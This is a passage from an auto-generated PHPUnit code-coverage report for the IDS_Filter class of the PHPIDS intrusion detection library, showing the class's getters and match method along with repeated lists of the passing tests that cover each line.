64</a> </span> : * -<span class="lineNum" id="container65"><a name="65"></a><a href="#65" id="line65"> 65</a> </span> : * @var array -<span class="lineNum" id="container66"><a name="66"></a><a href="#66" id="line66"> 66</a> </span> : */ -<span class="lineNum" id="container67"><a name="67"></a><a href="#67" id="line67"> 67</a> </span> : protected $tags = array(); -<span class="lineNum" id="container68"><a name="68"></a><a href="#68" id="line68"> 68</a> </span> : -<span class="lineNum" id="container69"><a name="69"></a><a href="#69" id="line69"> 69</a> </span> : /** -<span class="lineNum" id="container70"><a name="70"></a><a href="#70" id="line70"> 70</a> </span> : * Filter impact level -<span class="lineNum" id="container71"><a name="71"></a><a href="#71" id="line71"> 71</a> </span> : * -<span class="lineNum" id="container72"><a name="72"></a><a href="#72" id="line72"> 72</a> </span> : * @var integer -<span class="lineNum" id="container73"><a name="73"></a><a href="#73" id="line73"> 73</a> </span> : */ -<span class="lineNum" id="container74"><a name="74"></a><a href="#74" id="line74"> 74</a> </span> : protected $impact = 0; -<span class="lineNum" id="container75"><a name="75"></a><a href="#75" id="line75"> 75</a> </span> : -<span class="lineNum" id="container76"><a name="76"></a><a href="#76" id="line76"> 76</a> </span> : /** -<span class="lineNum" id="container77"><a name="77"></a><a href="#77" id="line77"> 77</a> </span> : * Filter description -<span class="lineNum" id="container78"><a name="78"></a><a href="#78" id="line78"> 78</a> </span> : * -<span class="lineNum" id="container79"><a name="79"></a><a href="#79" id="line79"> 79</a> </span> : * @var string -<span class="lineNum" id="container80"><a name="80"></a><a href="#80" id="line80"> 80</a> </span> : */ -<span class="lineNum" id="container81"><a name="81"></a><a href="#81" id="line81"> 81</a> </span> : protected $description = null; -<span class="lineNum" id="container82"><a name="82"></a><a href="#82" id="line82"> 82</a> </span> : -<span class="lineNum" id="container83"><a name="83"></a><a href="#83" id="line83"> 83</a> </span> : /** -<span class="lineNum" id="container84"><a name="84"></a><a href="#84" id="line84"> 84</a> </span> : * Constructor -<span class="lineNum" id="container85"><a name="85"></a><a href="#85" id="line85"> 85</a> </span> : * -<span class="lineNum" id="container86"><a name="86"></a><a href="#86" id="line86"> 86</a> </span> : * @param mixed $rule filter rule -<span class="lineNum" id="container87"><a name="87"></a><a href="#87" id="line87"> 87</a> </span> : * @param string $description filter description -<span class="lineNum" id="container88"><a name="88"></a><a href="#88" id="line88"> 88</a> </span> : * @param array $tags list of tags -<span class="lineNum" id="container89"><a name="89"></a><a href="#89" id="line89"> 89</a> </span> : * @param integer $impact filter impact level -<span class="lineNum" id="container90"><a name="90"></a><a href="#90" id="line90"> 90</a> </span> : * -<span class="lineNum" id="container91"><a name="91"></a><a href="#91" id="line91"> 91</a> </span> : * @return void -<span class="lineNum" id="container92"><a name="92"></a><a href="#92" id="line92"> 92</a> </span> : */ -<span class="lineNum" id="container93"><a name="93"></a><a href="#93" id="line93"> 93</a> </span> : public function __construct($id, $rule, $description, array $tags, $impact) -<span class="lineNum" id="container94"><a name="94"></a><a href="#94" id="line94"> 94</a> </span> : { -<span class="lineNum" id="container95"><a name="95"></a><a href="#95" id="line95"> 95</a> </span><span class="lineCov"> 69 : $this->id = $id; </span> -<span class="lineNum" id="container96"><a name="96"></a><a href="#96" id="line96"> 96</a> </span><span class="lineCov"> 69 : $this->rule = $rule; </span> -<span class="lineNum" id="container97"><a name="97"></a><a href="#97" id="line97"> 97</a> </span><span class="lineCov"> 69 : $this->tags = $tags; </span> -<span class="lineNum" id="container98"><a name="98"></a><a href="#98" id="line98"> 98</a> </span><span class="lineCov"> 69 : $this->impact = $impact; </span> -<span class="lineNum" id="container99"><a name="99"></a><a href="#99" id="line99"> 99</a> </span><span class="lineCov"> 69 : $this->description = $description; </span> -<span class="lineNum" id="container100"><a name="100"></a><a href="#100" id="line100"> 100</a> </span><span class="lineCov"> 69 : } </span> -<span class="lineNum" id="container101"><a name="101"></a><a href="#101" id="line101"> 101</a> </span> : -<span class="lineNum" id="container102"><a name="102"></a><a href="#102" id="line102"> 102</a> </span> : /** -<span class="lineNum" id="container103"><a name="103"></a><a href="#103" id="line103"> 103</a> </span> : * Matches a string against current filter -<span class="lineNum" id="container104"><a name="104"></a><a href="#104" id="line104"> 104</a> </span> : * -<span class="lineNum" id="container105"><a name="105"></a><a href="#105" id="line105"> 105</a> </span> : * Matches given string against the filter rule the specific object of this -<span class="lineNum" id="container106"><a name="106"></a><a href="#106" id="line106"> 106</a> </span> : * class represents -<span class="lineNum" id="container107"><a name="107"></a><a href="#107" id="line107"> 107</a> </span> : * -<span class="lineNum" id="container108"><a name="108"></a><a href="#108" id="line108"> 108</a> </span> : * @param string $string the string to match -<span class="lineNum" id="container109"><a name="109"></a><a href="#109" id="line109"> 109</a> </span> : * -<span class="lineNum" id="container110"><a name="110"></a><a href="#110" id="line110"> 110</a> </span> : * @throws InvalidArgumentException if argument is no string -<span class="lineNum" id="container111"><a name="111"></a><a href="#111" id="line111"> 111</a> </span> : * @return boolean -<span class="lineNum" id="container112"><a name="112"></a><a href="#112" id="line112"> 112</a> </span> : */ -<span class="lineNum" id="container113"><a name="113"></a><a href="#113" id="line113"> 113</a> </span> : public function match($string) -<span class="lineNum" id="container114"><a name="114"></a><a href="#114" id="line114"> 114</a> </span> : { -<span class="lineNum" id="container115"><a name="115"></a><a href="#115" id="line115"> 115</a> </span><span class="lineCov"> 38 : if (!is_string($string)) { </span> -<span class="lineNum" id="container116"><a name="116"></a><a href="#116" id="line116"> 116</a> </span><span class="lineCov"> 1 : throw new InvalidArgumentException(' </span> -<span class="lineNum" id="container117"><a name="117"></a><a href="#117" id="line117"> 117</a> </span><span class="lineCov"> 1 : Invalid argument. Expected a string, received ' . gettype($string)</span> -<span class="lineNum" id="container118"><a name="118"></a><a href="#118" id="line118"> 118</a> </span><span class="lineCov"> 1 : ); </span> -<span class="lineNum" id="container119"><a name="119"></a><a href="#119" id="line119"> 119</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container120"><a name="120"></a><a href="#120" id="line120"> 120</a> </span> : -<span class="lineNum" id="container121"><a name="121"></a><a href="#121" id="line121"> 121</a> </span><span class="lineCov"> 37 : return (bool) preg_match( </span> -<span class="lineNum" id="container122"><a name="122"></a><a href="#122" id="line122"> 122</a> </span><span class="lineCov"> 37 : '/' . $this->getRule() . '/ms', strtolower($string) </span> -<span class="lineNum" id="container123"><a name="123"></a><a href="#123" id="line123"> 123</a> </span><span class="lineCov"> 37 : ); </span> -<span class="lineNum" id="container124"><a name="124"></a><a href="#124" id="line124"> 124</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container125"><a name="125"></a><a href="#125" id="line125"> 125</a> </span> : -<span class="lineNum" id="container126"><a name="126"></a><a href="#126" id="line126"> 126</a> </span> : /** -<span class="lineNum" id="container127"><a name="127"></a><a href="#127" id="line127"> 127</a> </span> : * Returns filter description -<span class="lineNum" id="container128"><a name="128"></a><a href="#128" id="line128"> 128</a> </span> : * -<span class="lineNum" id="container129"><a name="129"></a><a href="#129" id="line129"> 129</a> </span> : * @return string -<span class="lineNum" id="container130"><a name="130"></a><a href="#130" id="line130"> 130</a> </span> : */ -<span class="lineNum" id="container131"><a name="131"></a><a href="#131" id="line131"> 131</a> </span> : public function getDescription() -<span class="lineNum" id="container132"><a name="132"></a><a href="#132" id="line132"> 132</a> </span> : { -<span class="lineNum" id="container133"><a name="133"></a><a href="#133" id="line133"> 133</a> </span><span class="lineCov"> 2 : return $this->description; </span> -<span class="lineNum" id="container134"><a name="134"></a><a href="#134" id="line134"> 134</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container135"><a name="135"></a><a href="#135" id="line135"> 135</a> </span> : -<span class="lineNum" id="container136"><a name="136"></a><a href="#136" id="line136"> 136</a> </span> : /** -<span class="lineNum" id="container137"><a name="137"></a><a href="#137" id="line137"> 137</a> </span> : * Return list of affected tags -<span class="lineNum" id="container138"><a name="138"></a><a href="#138" id="line138"> 138</a> </span> : * -<span class="lineNum" id="container139"><a name="139"></a><a href="#139" id="line139"> 139</a> </span> : * Each filter rule is concerned with a certain kind of attack vectors. -<span class="lineNum" id="container140"><a name="140"></a><a href="#140" id="line140"> 140</a> </span> : * This method returns those affected kinds. -<span class="lineNum" id="container141"><a name="141"></a><a href="#141" id="line141"> 141</a> </span> : * -<span class="lineNum" id="container142"><a name="142"></a><a href="#142" id="line142"> 142</a> </span> : * @return array -<span class="lineNum" id="container143"><a name="143"></a><a href="#143" id="line143"> 143</a> </span> : */ -<span class="lineNum" id="container144"><a name="144"></a><a href="#144" id="line144"> 144</a> </span> : public function getTags() -<span class="lineNum" id="container145"><a name="145"></a><a href="#145" id="line145"> 145</a> </span> : { -<span class="lineNum" id="container146"><a name="146"></a><a href="#146" id="line146"> 146</a> </span><span class="lineCov"> 6 : return $this->tags; </span> -<span class="lineNum" id="container147"><a name="147"></a><a href="#147" id="line147"> 147</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container148"><a name="148"></a><a href="#148" id="line148"> 148</a> </span> : -<span class="lineNum" id="container149"><a name="149"></a><a href="#149" id="line149"> 149</a> </span> : /** -<span class="lineNum" id="container150"><a name="150"></a><a href="#150" id="line150"> 150</a> </span> : * Returns filter rule -<span class="lineNum" id="container151"><a name="151"></a><a href="#151" id="line151"> 151</a> </span> : * -<span class="lineNum" id="container152"><a name="152"></a><a href="#152" id="line152"> 152</a> </span> : * @return string -<span class="lineNum" id="container153"><a name="153"></a><a href="#153" id="line153"> 153</a> </span> : */ -<span class="lineNum" id="container154"><a name="154"></a><a href="#154" id="line154"> 154</a> </span> : public function getRule() -<span class="lineNum" id="container155"><a name="155"></a><a href="#155" id="line155"> 155</a> </span> : { -<span class="lineNum" id="container156"><a name="156"></a><a href="#156" id="line156"> 156</a> </span><span class="lineCov"> 38 : return $this->rule; </span> -<span class="lineNum" id="container157"><a name="157"></a><a href="#157" id="line157"> 157</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container158"><a name="158"></a><a href="#158" id="line158"> 158</a> </span> : -<span class="lineNum" id="container159"><a name="159"></a><a href="#159" id="line159"> 159</a> </span> : /** -<span class="lineNum" id="container160"><a name="160"></a><a href="#160" id="line160"> 160</a> </span> : * Get filter impact level -<span class="lineNum" id="container161"><a name="161"></a><a href="#161" id="line161"> 161</a> </span> : * -<span class="lineNum" id="container162"><a name="162"></a><a href="#162" id="line162"> 162</a> </span> : * @return integer -<span class="lineNum" id="container163"><a name="163"></a><a href="#163" id="line163"> 163</a> </span> : */ -<span class="lineNum" id="container164"><a name="164"></a><a href="#164" id="line164"> 164</a> </span> : public function getImpact() -<span class="lineNum" id="container165"><a name="165"></a><a href="#165" id="line165"> 165</a> </span> : { -<span class="lineNum" id="container166"><a name="166"></a><a href="#166" id="line166"> 166</a> </span><span class="lineCov"> 36 : return $this->impact; </span> -<span class="lineNum" id="container167"><a name="167"></a><a href="#167" id="line167"> 167</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container168"><a name="168"></a><a href="#168" id="line168"> 168</a> </span> : -<span class="lineNum" id="container169"><a name="169"></a><a href="#169" id="line169"> 169</a> </span> : /** -<span class="lineNum" id="container170"><a name="170"></a><a href="#170" id="line170"> 170</a> </span> : * Get filter ID -<span class="lineNum" id="container171"><a name="171"></a><a href="#171" id="line171"> 171</a> </span> : * -<span class="lineNum" id="container172"><a name="172"></a><a href="#172" id="line172"> 172</a> </span> : * @return integer -<span class="lineNum" id="container173"><a name="173"></a><a href="#173" id="line173"> 173</a> </span> : */ -<span class="lineNum" id="container174"><a name="174"></a><a href="#174" id="line174"> 174</a> </span> : public function getId() -<span class="lineNum" id="container175"><a name="175"></a><a href="#175" id="line175"> 175</a> </span> : { -<span class="lineNum" id="container176"><a name="176"></a><a href="#176" id="line176"> 176</a> </span><span class="lineCov"> 1 : return $this->id; </span> -<span class="lineNum" id="container177"><a name="177"></a><a href="#177" id="line177"> 177</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container178"><a name="178"></a><a href="#178" id="line178"> 178</a> </span> : } -<span class="lineNum" id="container179"><a name="179"></a><a href="#179" id="line179"> 179</a> </span> : -<span class="lineNum" id="container180"><a name="180"></a><a href="#180" id="line180"> 180</a> </span> : /* -<span class="lineNum" id="container181"><a name="181"></a><a href="#181" id="line181"> 181</a> </span> : * Local variables: -<span class="lineNum" id="container182"><a name="182"></a><a href="#182" id="line182"> 182</a> </span> : * tab-width: 4 -<span class="lineNum" id="container183"><a name="183"></a><a href="#183" id="line183"> 183</a> </span> : * c-basic-offset: 4 -<span class="lineNum" id="container184"><a name="184"></a><a href="#184" id="line184"> 184</a> </span> : * End: -<span class="lineNum" id="container185"><a name="185"></a><a href="#185" id="line185"> 185</a> </span> : */ - -</pre> - </td> - </tr> - </table> - - <table width="100%" border="0" cellspacing="0" cellpadding="0"> - <tr><td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td></tr> - <tr><td class="versionInfo">Generated by <a href="http://www.phpunit.de/">PHPUnit 3.3.1</a> and <a href="http://www.xdebug.org/">Xdebug 2.1.0-dev</a> at Mon Dec 22 13:57:42 CET 2008.</td></tr> - </table> - - <br /> - - <script language="javascript"> - $E = YAHOO.util.Event; - YAHOO.namespace("phpunit.container"); - YAHOO.phpunit.container.panelsData = { - "panel95": { - "header": "69 tests cover line 95", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testCountable(IDS_ReportTest)</li><li class=\"testPassed\">testGetterByName(IDS_ReportTest)</li><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testHasEvent(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testToStringEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testGetEvent(IDS_ReportTest)</li><li class=\"testPassed\">testGetEventWrong(IDS_ReportTest)</li><li class=\"testPassed\">testEventConstructorExceptions1(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions2(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions3(IDS_ExceptionTest)</li><li class=\"testPassed\">testGetEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testHasEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testObjectConstruction(IDS_FilterTest)</li><li class=\"testPassed\">testModificator(IDS_FilterTest)</li><li class=\"testPassed\">testExceptions(IDS_FilterTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testName(IDS_EventTest)</li><li class=\"testPassed\">testValueAggregation(IDS_EventTest)</li><li class=\"testPassed\">testIterator(IDS_EventTest)</li><li class=\"testPassed\">testCount(IDS_EventTest)</li><li class=\"testPassed\">testCopy(IDS_EventTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_EventTest)</li></ul>", - "footer": "" - }, - "panel96": { - "header": "69 tests cover line 96", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testCountable(IDS_ReportTest)</li><li class=\"testPassed\">testGetterByName(IDS_ReportTest)</li><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testHasEvent(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testToStringEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testGetEvent(IDS_ReportTest)</li><li class=\"testPassed\">testGetEventWrong(IDS_ReportTest)</li><li class=\"testPassed\">testEventConstructorExceptions1(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions2(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions3(IDS_ExceptionTest)</li><li class=\"testPassed\">testGetEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testHasEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testObjectConstruction(IDS_FilterTest)</li><li class=\"testPassed\">testModificator(IDS_FilterTest)</li><li class=\"testPassed\">testExceptions(IDS_FilterTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testName(IDS_EventTest)</li><li class=\"testPassed\">testValueAggregation(IDS_EventTest)</li><li class=\"testPassed\">testIterator(IDS_EventTest)</li><li class=\"testPassed\">testCount(IDS_EventTest)</li><li class=\"testPassed\">testCopy(IDS_EventTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_EventTest)</li></ul>", - "footer": "" - }, - "panel97": { - "header": "69 tests cover line 97", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testCountable(IDS_ReportTest)</li><li class=\"testPassed\">testGetterByName(IDS_ReportTest)</li><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testHasEvent(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testToStringEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testGetEvent(IDS_ReportTest)</li><li class=\"testPassed\">testGetEventWrong(IDS_ReportTest)</li><li class=\"testPassed\">testEventConstructorExceptions1(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions2(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions3(IDS_ExceptionTest)</li><li class=\"testPassed\">testGetEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testHasEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testObjectConstruction(IDS_FilterTest)</li><li class=\"testPassed\">testModificator(IDS_FilterTest)</li><li class=\"testPassed\">testExceptions(IDS_FilterTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testName(IDS_EventTest)</li><li class=\"testPassed\">testValueAggregation(IDS_EventTest)</li><li class=\"testPassed\">testIterator(IDS_EventTest)</li><li class=\"testPassed\">testCount(IDS_EventTest)</li><li class=\"testPassed\">testCopy(IDS_EventTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_EventTest)</li></ul>", - "footer": "" - }, - "panel98": { - "header": "69 tests cover line 98", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li 